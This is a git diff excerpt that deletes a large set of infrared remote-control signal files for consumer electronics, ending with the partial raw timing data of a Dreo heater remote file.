assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir diff --git a/assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir b/assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir deleted file mode 100644 index 54ea2f2af..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1306 402 1280 404 437 1236 1278 406 1276 409 432 1241 431 1241 431 1215 457 1241 441 1231 441 1231 1272 7138 1307 402 1280 404 437 1236 1277 406 1276 408 433 1241 431 1215 468 1231 441 1231 441 1232 440 1232 1271 8217 1301 408 1274 410 431 1242 1272 411 1281 403 438 1236 436 1236 436 1236 436 1236 436 1236 436 1236 1277 7133 1302 407 1275 409 432 1241 1272 411 1272 412 439 1234 438 1234 438 1234 438 1234 438 1234 438 1234 1279 8208 1299 410 1272 411 440 1233 1280 403 1279 405 436 1238 434 1238 434 1238 434 1238 434 1238 434 1238 1276 7134 1300 409 1273 410 431 1242 1272 411 1281 403 438 1235 437 1235 437 1235 437 1235 437 1235 437 1235 1278 8209 1298 411 1271 412 439 1234 1279 404 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 7135 1299 410 1273 411 440 1232 1281 403 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 -# -name: Heat_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1303 405 1278 406 435 1237 1276 407 1275 409 432 1240 432 1265 407 1265 407 1291 381 1290 1223 409 432 7963 1302 407 1275 409 432 1239 1274 410 1273 412 439 1232 440 1258 414 1283 389 1283 389 1282 1221 411 440 9121 1301 408 1274 410 441 1230 1273 411 1282 402 439 1233 439 1259 413 1258 414 1257 415 1283 1220 411 440 7955 1299 409 1274 411 440 1231 1272 412 1281 403 438 1234 438 1260 412 1259 413 1285 387 1258 1255 403 438 9123 1299 410 1273 411 440 1232 1281 403 1279 404 437 1235 437 1235 437 1260 412 1260 412 1259 1254 404 437 7959 1306 403 1279 405 436 1236 1278 406 1276 408 433 1238 434 1238 434 1263 409 1263 409 1262 1251 407 434 9128 1304 405 1278 406 435 1237 1276 408 1274 410 441 1231 441 1230 431 1267 405 1266 406 1265 1248 410 441 7956 1298 410 1273 412 439 1232 1281 403 1279 405 436 1236 436 1262 410 1261 411 1261 411 1260 1253 405 436 -# -name: Heat_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1302 406 1276 408 433 1239 1274 410 1273 411 440 1232 440 1258 1255 403 438 1234 438 1260 1253 404 437 7960 1305 404 1279 405 436 1236 1277 407 1275 409 432 1240 432 1265 1248 410 441 1230 431 1267 1247 411 440 9062 1298 411 1281 403 438 1234 1279 405 1278 406 435 1237 435 1263 1250 408 433 1239 433 1265 1248 410 441 7956 